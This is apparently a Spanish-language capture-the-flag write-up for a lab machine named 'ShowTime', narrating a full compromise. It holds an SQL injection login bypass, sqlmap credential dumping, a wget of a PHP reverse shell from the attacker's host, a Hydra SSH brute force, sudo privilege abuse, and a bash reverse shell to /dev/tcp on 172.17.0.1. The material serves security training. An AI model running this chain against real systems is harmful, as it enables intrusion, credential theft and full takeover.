> For the complete documentation index, see [llms.txt](https://shinki-organization.gitbook.io/dw/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://shinki-organization.gitbook.io/dw/write-ups/quickstart/maquinas-faciles/showtime-write-up.md).
# ShowTime write-up
## **Verificamos conexión con la máquina víctima**
## **Realizamos un escaneo de los puertos abiertos de la máquina víctima**
Utilizamos **nmap** para escanear los puertos abiertos de la máquina víctima con el siguiente comando:
```bash
sudo nmap -p- -sCVS --min-rate=5000 -vvv -O -Pn -n 172.17.0.2
```
El escaneo nos indica que el puerto 22 (SSH) y el 80 (HTTP) están abiertos. Así que ponemos la IP de la máquina víctima en el navegador y encontramos lo siguiente:
Nos vamos al apartado de login y probamos a baipasear con la inyección `' or 1=1-- -` y vemos que funciona.
Así que vamos a intentar obtener la base de datos con la herramienta llamada **sqlmap**. Con el siguiente comando le pedimos a sqlmap que nos liste el nombre de las bases de datos:
```bash
sqlmap --url "http://172.17.0.2/login_page/index.php" --forms -dbs --batch
```
Esto nos indica que existe una base de datos llamada `users`, ya que las otras se crean de forma predeterminada, así que para obtener los datos de esa base de datos escribimos el siguiente comando:
```bash
sqlmap --url "http://172.17.0.2/login_page/index.php" --forms -D users --batch --dump
```
Ahora, vamos a usar el usuario `joe` y su contraseña `MiClaveEsInhackeable` para iniciar sesión y encontramos un panel donde podemos escribir comando de Python que se ejecutan en el servidor:
Así que vamos a hacer una prueba ejecutando el siguiente comando para verificar que funciona sin problemas:
```python
import os
os.system("whoami")
```
Vemos que funciona, así que ahora lo que vamos a hacer descargar un archivo malicioso, levantando un servidor con Python. Primero levantamos el servidor con el siguiente comando en el directorio donde tendremos nuestro archivo malicioso, en mi caso será una reverse shell hecha en [Php](https://github.com/pentestmonkey/php-reverse-shell/blob/master/php-reverse-shell.php).
```python
python3 -m http.server 8080
```
Ahora ponemos nuestra IP con el puerto en el navegador para vez si funciono correctamente.
Después de verificar que funcione sin problemas, ejecutamos lo siguiente en panel para descargarnos el archivo `virus.php`:
```python
import os
os.system("wget http://172.17.0.1:8080/virus.php")
os.system("ls")
```
Vemos que funciono sin problemas, así que ahora solo hay que ponerse en escucha con **netcat** por el puerto que hayamos configurado y poner `172.17.0.2/login_panel/virus.php` en el navegador y ya estaríamos dentro de la máquina víctima.
```bash
sudo nc -nvvlp 444
```
## **Escalada de privilegios**
Una vez dentro de la máquina victima ejecutamos el siguiente comando `find / -name "*.txt" 2>/dev/null` para que nos liste los archivos con extensión TXT para buscar archivos de texto que puedan contener información útil.
Esto nos muestra que hay un archivo oculto en el directorio `/tmp` llamado `.hidden_text.txt`, así que hacemos un cat del fichero y nos muestra lo siguiente:
```bash
cat /tmp/.hidden_text.txt
```
Así que lo que haremos es guardar todas las palabras en un archivo en nuestra máquina local y después vamos a ejecutar un comando que cambiara las mayúsculas por minúsculas.
```bash
tr '[:upper:]' '[:lower:]' < archivo.txt > passwrd_minusculas.txt
```
Y ahora ejecutamos el siguiente comando para combinar los dos ficheros:
```bash
cat passwrd_minusculas.txt archivo.txt > password.txt
```
Ahora, vamos a ver los usuarios que existen en la máquina víctima y los vamos a guardar en otro fichero, para luego realizar un ataque de fuerza bruta con **Hydra** con el siguiente comando:
```bash
hydra -L usuarios.txt -P password.txt -I ssh://172.17.0.2 -V -F -u
```
Esto nos indica que la contraseña del usuario `joe` es `chittychittybangbang`, así que iniciamos sesión en el servicio SSH.
Ahora ejecutamos el comando `sudo -l` el cual muestra que podemos ejecutar el binario `/bin/posh` como el usuario `luciano` sin necesidad de contraseña, así que ejecutamos el siguiente comando:
```bash
sudo -u luciano /bin/posh
```
Ahora volvemos a ejecutar el comando `sudo -l` y nos indicar que podemos ejecutar como root el binario`bash` y el fichero `/home/luciano/script.sh`, así que vamos a modificar el fichero y vamos a introducir lo siguiente:
```bash
#!/bin/bash
bash -i >& /dev/tcp/172.17.0.1/443 0>&1
```
Finalmente, solo nos queda ponernos en escucha con **netcat** por el puerto 443 y ejecutar el siguiente comando:
```bash
sudo /bin/bash /home/luciano/script.sh
```